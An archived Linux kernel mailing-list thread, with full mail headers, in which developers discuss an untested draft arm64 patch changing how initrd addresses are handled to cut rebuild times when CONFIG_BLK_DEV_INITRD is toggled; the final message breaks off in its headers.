	id 1gFjSY-0004ch-3r; Thu, 25 Oct 2018 17:30:14 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFjSS-00040A-Un
 for linux-arm-kernel@lists.infradead.org; Thu, 25 Oct 2018 17:30:10 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w9PHObD3127369
 for <linux-arm-kernel@lists.infradead.org>; Thu, 25 Oct 2018 13:29:57 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2nbgqnvt66-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-arm-kernel@lists.infradead.org>; Thu, 25 Oct 2018 13:29:57 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-arm-kernel@lists.infradead.org> from <rppt@linux.ibm.com>;
 Thu, 25 Oct 2018 18:29:55 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Thu, 25 Oct 2018 18:29:48 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w9PHTliA66322434
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Thu, 25 Oct 2018 17:29:47 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id F2622AE055;
 Thu, 25 Oct 2018 17:29:46 +0000 (GMT)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id F0EADAE045;
 Thu, 25 Oct 2018 17:29:39 +0000 (GMT)
Original-Received: from rapoport-lnx (unknown [9.148.204.85])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Thu, 25 Oct 2018 17:29:39 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18102517-4275-0000-0000-000002D3BEBD
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18102517-4276-0000-0000-000037DFCF19
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-10-25_09:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810250146
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181025_103009_136670_A19AD8FB 
X-CRM114-Status: GOOD (  48.70  )
X-Spam-Score: 1.3 (+)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (1.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:681467 gmane.linux.ports.mips.general:67187 gmane.linux.ports.ia64:29438 gmane.linux.ports.sh.devel:57692 gmane.linux.drivers.devicetree:294442 gmane.linux.ports.sparc:28664 gmane.linux.ports.riscv:1214 gmane.linux.kernel.cross-arch:48070 gmane.linux.ports.hexagon:1958 gmane.linux.kernel.arc:4618 gmane.linux.ports.parisc:29239 gmane.linux.kernel:2908134 gmane.linux.ports.alpha:5374 gmane.linux.ports.ppc64.devel:164903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/681467>

On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
> +Ard
> 
> On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
> >
> > On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> > > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> > > >
> > > > Hi all,
> > > >
> > > > While investigating why ARM64 required a ton of objects to be rebuilt
> > > > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > > > because we define __early_init_dt_declare_initrd() differently and we do
> > > > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > > > amount of other header files, and translation units as well.
> > >
> > > I scratch my head sometimes as to why some config options rebuild so
> > > much stuff. One down, ? to go. :)
> > >
> > > > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > > > systems that generate two kernels: one with the initramfs and one
> > > > without. buildroot is one of these build systems, OpenWrt is also
> > > > another one that does this.
> > > >
> > > > This patch series proposes adding an empty initrd.h to satisfy the need
> > > > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > > > custom __early_init_dt_declare_initrd() definition away from
> > > > asm/memory.h
> > > >
> > > > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > > > factor 73 approximately.
> > > >
> > > > Apologies for the long CC list, please let me know how you would go
> > > > about merging that and if another approach would be preferable, e.g:
> > > > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > > > something like that.
> > >
> > > There may be a better way as of 4.20 because bootmem is now gone and
> > > only memblock is used. This should unify what each arch needs to do
> > > with initrd early. We need the physical address early for memblock
> > > reserving. Then later on we need the virtual address to access the
> > > initrd. Perhaps we should just change initrd_start and initrd_end to
> > > physical addresses (or add 2 new variables would be less invasive and
> > > allow for different translation than __va()). The sanity checks and
> > > memblock reserve could also perhaps be moved to a common location.
> > >
> > > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > > __early_init_dt_declare_initrd as long as we have a path to removing
> > > it like the above option.
> >
> > I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> > Something like this might be just all we need (completely untested,
> > probably it won't even compile):
> >
> > diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
> > index 9d9582c..e9ca238 100644
> > --- a/arch/arm64/mm/init.c
> > +++ b/arch/arm64/mm/init.c
> > @@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
> >  phys_addr_t arm64_dma_phys_limit __ro_after_init;
> >
> >  #ifdef CONFIG_BLK_DEV_INITRD
> > +
> > +static phys_addr_t initrd_start_phys, initrd_end_phys;
> > +
> >  static int __init early_initrd(char *p)
> >  {
> >         unsigned long start, size;
> > @@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
> >         if (*endp == ',') {
> >                 size = memparse(endp + 1, NULL);
> >
> > -               initrd_start = start;
> > -               initrd_end = start + size;
> > +               initrd_start_phys = start;
> > +               initrd_end_phys = end;
> >         }
> >         return 0;
> >  }
> > @@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
> >                 memblock_add(__pa_symbol(_text), (u64)(_end - _text));
> >         }
> >
> > -       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
> > +       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
> > +           (initrd_start || initrd_start_phys)) {
> > +               /*
> > +                * FIXME: ensure proper precendence between
> > +                * early_initrd and DT when both are present
> 
> Command line takes precedence, so just reverse the order.
> 
> > +                */
> > +               if (initrd_start) {
> > +                       initrd_start_phys = __phys_to_virt(initrd_start);
> > +                       initrd_end_phys = __phys_to_virt(initrd_end);
> 
> AIUI, the original issue was doing the P2V translation was happening
> too early and the VA could be wrong if the linear range is adjusted.
> So I don't think this would work.

Probably things have changed since then, but in the current code there is

		initrd_start = __phys_to_virt(initrd_start);

and in between only the code related to CONFIG_RANDOMIZE_BASE, so I believe
it's safe to use __phys_to_virt() here as well.
 
> I suppose you could convert the VA back to a PA before any adjustments
> and then back to a VA again after. But that's kind of hacky. 2 wrongs
> making a right.
> 
> > +               } else if (initrd_start_phys) {
> > +                       initrd_start = __va(initrd_start_phys);
> > +                       initrd_end = __va(initrd_start_phys);
> > +               }
> > +
> >                 /*
> >                  * Add back the memory we just removed if it results in the
> >                  * initrd to become inaccessible via the linear mapping.
> >                  * Otherwise, this is a no-op
> >                  */
> > -               u64 base = initrd_start & PAGE_MASK;
> > -               u64 size = PAGE_ALIGN(initrd_end) - base;
> > +               u64 base = initrd_start_phys & PAGE_MASK;
> > +               u64 size = PAGE_ALIGN(initrd_end_phys) - base;
> >
> >                 /*
> >                  * We can only add back the initrd memory if we don't end up
> > @@ -458,7 +474,7 @@ void __init arm64_memblock_init(void)
> >          * pagetables with memblock.
> >          */
> >         memblock_reserve(__pa_symbol(_text), _end - _text);
> > -#ifdef CONFIG_BLK_DEV_INITRD
> > +#if 0
> >         if (initrd_start) {
> >                 memblock_reserve(initrd_start, initrd_end - initrd_start);
> >
> >
> > > Rob
> > >
> >
> > --
> > Sincerely yours,
> > Mike.
> >
> 

-- 
Sincerely yours,
Mike.

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Herring <robh@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 16:13:10 -0500
Lines: 119
Approved: news@gmane.org
Message-ID: <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com> <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx> <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
 <20181025172935.GA27364@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540501887 26266 195.159.176.226 (25 Oct 2018 21:11:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 21:11:27 +0000 (UTC)
Cc: Ard Biesheuvel <ard.biesheuvel@linaro.org>,
        Florian Fainelli <f.fainelli@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <
To: rppt@linux.ibm.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 25 23:11:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFmuU-0006eK-7K
	for glk-linux-kernel-4@m.gmane.org; Thu, 25 Oct 2018 23:11:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726863AbeJZFrp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 01:47:45 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:43788 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726056AbeJZFrn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 01:47:43 -0400
Original-Received: from mail-qt1-f174.google.com (mail-qt1-f174.google.com [209.85.160.174])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 063532083E;
        Thu, 25 Oct 2018 21:13:24 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1540502004;
        bh=wvEMaua9XdNX1S7F8WvyfWYk7OlmWIlhYhxZAJeKwdE=;
        h=References:In-Reply-To:From:Date:Subject:To:Cc:From;
        b=n8keHK4bHi/xaU7wAjGjXtDkmgMY8Qagu8h7WqN7FIhYyEGhQykJZ8U0GWJsHpN/c
         jQH5Kkd7QhNYJgyFAWFcx20GEGC/gdGKM73Pscz0htyoSgpK2JSVeEUyKcx6BUU7a2
         sqVzAPRLSh/5ae7Jkj81s663W2+KZHMF4yR9w9og=
Original-Received: by mail-qt1-f174.google.com with SMTP id b22-v6so2642642qtr.11;
        Thu, 25 Oct 2018 14:13:24 -0700 (PDT)
X-Gm-Message-State: AGRZ1gJKk8Sv0UjAwj4tFis/mpOtAVwqtGx3iCN5CCDtEE5LsGHncvOH
        OO80YaDsHinEl+mvFig6ksbtBw5IpBKmvl1sKQ==
X-Google-Smtp-Source: AJdET5dPMimUPy72Toq8ADoMpWDW5u//FVc5SZkVtwbySihlnauOZqcr3hb+YS+Sv4mS4dGpTmGh/T9QeMcbV1qAVzw=
X-Received: by 2002:a0c:8c86:: with SMTP id p6-v6mr836511qvb.246.1540502003189;
 Thu, 25 Oct 2018 14:13:23 -0700 (PDT)
In-Reply-To: <20181025172935.GA27364@rapoport-lnx>
X-Gmail-Original-Message-ID: <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908289 gmane.linux.ports.alpha:5375 gmane.linux.kernel.arc:4619 gmane.linux.ports.arm.kernel:681498 gmane.linux.ports.hexagon:1959 gmane.linux.ports.ia64:29439 gmane.linux.ports.mips.general:67189 gmane.linux.ports.parisc:29240 gmane.linux.ports.ppc64.devel:164911 gmane.linux.ports.riscv:1218 gmane.linux.ports.sh.devel:57693 gmane.linux.ports.sparc:28666 gmane.linux.drivers.devicetree:294475 gmane.linux.kernel.cross-arch:48073
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908289>

On Thu, Oct 25, 2018 at 12:30 PM Mike Rapoport <rppt@linux.ibm.com> wrote:
>
> On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
> > +Ard
> >
> > On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
> > >
> > > On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> > > > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> > > > >
> > > > > Hi all,
> > > > >
> > > > > While investigating why ARM64 required a ton of objects to be rebuilt
> > > > > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > > > > because we define __early_init_dt_declare_initrd() differently and we do
> > > > > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > > > > amount of other header files, and translation units as well.
> > > >
> > > > I scratch my head sometimes as to why some config options rebuild so
> > > > much stuff. One down, ? to go. :)
> > > >
> > > > > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > > > > systems that generate two kernels: one with the initramfs and one
> > > > > without. buildroot is one of these build systems, OpenWrt is also
> > > > > another one that does this.
> > > > >
> > > > > This patch series proposes adding an empty initrd.h to satisfy the need
> > > > > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > > > > custom __early_init_dt_declare_initrd() definition away from
> > > > > asm/memory.h
> > > > >
> > > > > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > > > > factor 73 approximately.
> > > > >
> > > > > Apologies for the long CC list, please let me know how you would go
> > > > > about merging that and if another approach would be preferable, e.g:
> > > > > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > > > > something like that.
> > > >
> > > > There may be a better way as of 4.20 because bootmem is now gone and
> > > > only memblock is used. This should unify what each arch needs to do
> > > > with initrd early. We need the physical address early for memblock
> > > > reserving. Then later on we need the virtual address to access the
> > > > initrd. Perhaps we should just change initrd_start and initrd_end to
> > > > physical addresses (or add 2 new variables would be less invasive and
> > > > allow for different translation than __va()). The sanity checks and
> > > > memblock reserve could also perhaps be moved to a common location.
> > > >
> > > > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > > > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > > > __early_init_dt_declare_initrd as long as we have a path to removing
> > > > it like the above option.
> > >
> > > I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> > > Something like this might be just all we need (completely untested,
> > > probably it won't even compile):
> > >
> > > diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
> > > index 9d9582c..e9ca238 100644
> > > --- a/arch/arm64/mm/init.c
> > > +++ b/arch/arm64/mm/init.c
> > > @@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
> > >  phys_addr_t arm64_dma_phys_limit __ro_after_init;
> > >
> > >  #ifdef CONFIG_BLK_DEV_INITRD
> > > +
> > > +static phys_addr_t initrd_start_phys, initrd_end_phys;
> > > +
> > >  static int __init early_initrd(char *p)
> > >  {
> > >         unsigned long start, size;
> > > @@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
> > >         if (*endp == ',') {
> > >                 size = memparse(endp + 1, NULL);
> > >
> > > -               initrd_start = start;
> > > -               initrd_end = start + size;
> > > +               initrd_start_phys = start;
> > > +               initrd_end_phys = end;
> > >         }
> > >         return 0;
> > >  }
> > > @@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
> > >                 memblock_add(__pa_symbol(_text), (u64)(_end - _text));
> > >         }
> > >
> > > -       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
> > > +       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
> > > +           (initrd_start || initrd_start_phys)) {
> > > +               /*
> > > +                * FIXME: ensure proper precendence between
> > > +                * early_initrd and DT when both are present
> >
> > Command line takes precedence, so just reverse the order.
> >
> > > +                */
> > > +               if (initrd_start) {
> > > +                       initrd_start_phys = __phys_to_virt(initrd_start);
> > > +                       initrd_end_phys = __phys_to_virt(initrd_end);

BTW, I think you meant virt_to_phys() here?

> >
> > AIUI, the original issue was doing the P2V translation was happening
> > too early and the VA could be wrong if the linear range is adjusted.
> > So I don't think this would work.
>
> Probably things have changed since then, but in the current code there is
>
>                 initrd_start = __phys_to_virt(initrd_start);
>
> and in between only the code related to CONFIG_RANDOMIZE_BASE, so I believe
> it's safe to use __phys_to_virt() here as well.

Here is fine yes, but I believe it was the the phys to virt in the DT
code before adjusting the linear range that was the problem.

Rob


From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 16:07:13 -0700
Lines: 126
Approved: news@gmane.org
Message-ID: <1bb3bd63-a88e-b668-ea36-f0f985c0e2b1@gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
 <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
 <20181025172935.GA27364@rapoport-lnx>
 <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1540508732 841 195.159.176.226 (25 Oct 2018 23:05:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 23:05:32 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: Ard Biesheuvel <ard.biesheuvel@linaro.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lis
To: Rob Herring <robh@kernel.org>, rppt@linux.ibm.com
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 01:05:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFogv-0008Ty-I9
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 01:05:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727721AbeJZHmI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 03:42:08 -0400
Original-Received: from mail-wr1-f68.google.com ([209.85.221.68]:39179 "EHLO
        mail-wr1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727689AbeJZHmH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 03:42:07 -0400
Original-Received: by mail-wr1-f68.google.com with SMTP id r10-v6so10063316wrv.6;
        Thu, 25 Oct 2018 16:07:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:cc:references:from:openpgp:autocrypt:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=iW+BSDPGCayLAtBb4vo6T1zUTHVlM51FUOR5Odcbmag=;
        b=Jr9wNyRLZtNr/bZNKyyZkTdnNenk1CQsnEfAPwvV00eDnAGXZlCk/uzk1wH0VNdQdn
         Kzgn7+6EKdzeXgQMtM9lWbCclEGnl/iQdPMi25hgp9FpTRD1cMWKPIt0XbO+om/x4D0B
         PkwZLIND7sHLsH6t4HZhQqANnZlgMzq37mWcm6kVx9x/uXBTuaNUA4VL9Ecgf/L3b21t
         UyCIQkEAZSoD0V9NADuOtte1tz25AOYa+DIl+G8TobwzPHM2i5677Ej8S4cvxlyiEwOx
         E90Lf/n2g1HCW69MEGftWx4Jch+5C41+d3ORv6aOioDIA9sdQvZwv66LwefJ+HfUxkyx
         1otQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:openpgp:autocrypt
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-language:content-transfer-encoding;
        bh=iW+BSDPGCayLAtBb4vo6T1zUTHVlM51FUOR5Odcbmag=;
        b=Y7IICEQVcDMXXWWnVezjftOK+PxrMJNRRS+s8JEcxQxnEywXziL90wOExQyp68BoAX
         EBvZn6TwHBTKwOjwF8o1Nqyj2eVq8cuHOmlXp5fVQ3GtFYpeoGdTVH+EvU7GpehSpv5T
         fppCjj9XIk/7muw1QUNKWZxEdGddiflwJOM6ZUMDETS/fZXQypnZ2SCL5UBWH+ypWq9e
         TI8sHLakjxbbViIS1lYBbykElzWEKBhSmW59TsmS2f7idV2oaMASFzwoXX57wn9rxtNp
         oCGd9952hYrYm2JgHllu0ilAicPU6CzJ5N1+eGpr5oKVKp8L0vC8Gy3LCC8DDNkcT1ZJ
         bXBg==
X-Gm-Message-State: AGRZ1gLUoECiYihQwTJGUPTw4uqZJ8tGR9BZxiIbzAVywuJXOuu5KBQA
        0UF8eInQeHFrDRF023KfyA2e9pBL
X-Google-Smtp-Source: AJdET5dVmZC0WiH7KJ/YHkwPHPC+bNuKtYLKH9LUDifsGdW3kJ1hesp5oBqsFNxmSh9BDkijW8n34g==
X-Received: by 2002:adf:97d3:: with SMTP id t19-v6mr3770080wrb.283.1540508849381;
        Thu, 25 Oct 2018 16:07:29 -0700 (PDT)
Original-Received: from [10.67.49.121] ([192.19.223.250])
        by smtp.googlemail.com with ESMTPSA id b5-v6sm8168756wrr.94.2018.10.25.16.07.21
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 25 Oct 2018 16:07:28 -0700 (PDT)
Openpgp: preference=signencrypt
Autocrypt: addr=f.fainelli@gmail.com; prefer-encrypt=mutual; keydata=
 xsDiBEjPuBIRBACW9MxSJU9fvEOCTnRNqG/13rAGsj+vJqontvoDSNxRgmafP8d3nesnqPyR
 xGlkaOSDuu09rxuW+69Y2f1TzjFuGpBk4ysWOR85O2Nx8AJ6fYGCoeTbovrNlGT1M9obSFGQ
 X3IzRnWoqlfudjTO5TKoqkbOgpYqIo5n1QbEjCCwCwCg3DOH/4ug2AUUlcIT9/l3pGvoRJ0E
 AICDzi3l7pmC5IWn2n1mvP5247urtHFs/uusE827DDj3K8Upn2vYiOFMBhGsxAk6YKV6IP0d
 ZdWX6fqkJJlu9cSDvWtO1hXeHIfQIE/xcqvlRH783KrihLcsmnBqOiS6rJDO2x1eAgC8meAX
 SAgsrBhcgGl2Rl5gh/jkeA5ykwbxA/9u1eEuL70Qzt5APJmqVXR+kWvrqdBVPoUNy/tQ8mYc
 nzJJ63ng3tHhnwHXZOu8hL4nqwlYHRa9eeglXYhBqja4ZvIvCEqSmEukfivk+DlIgVoOAJbh
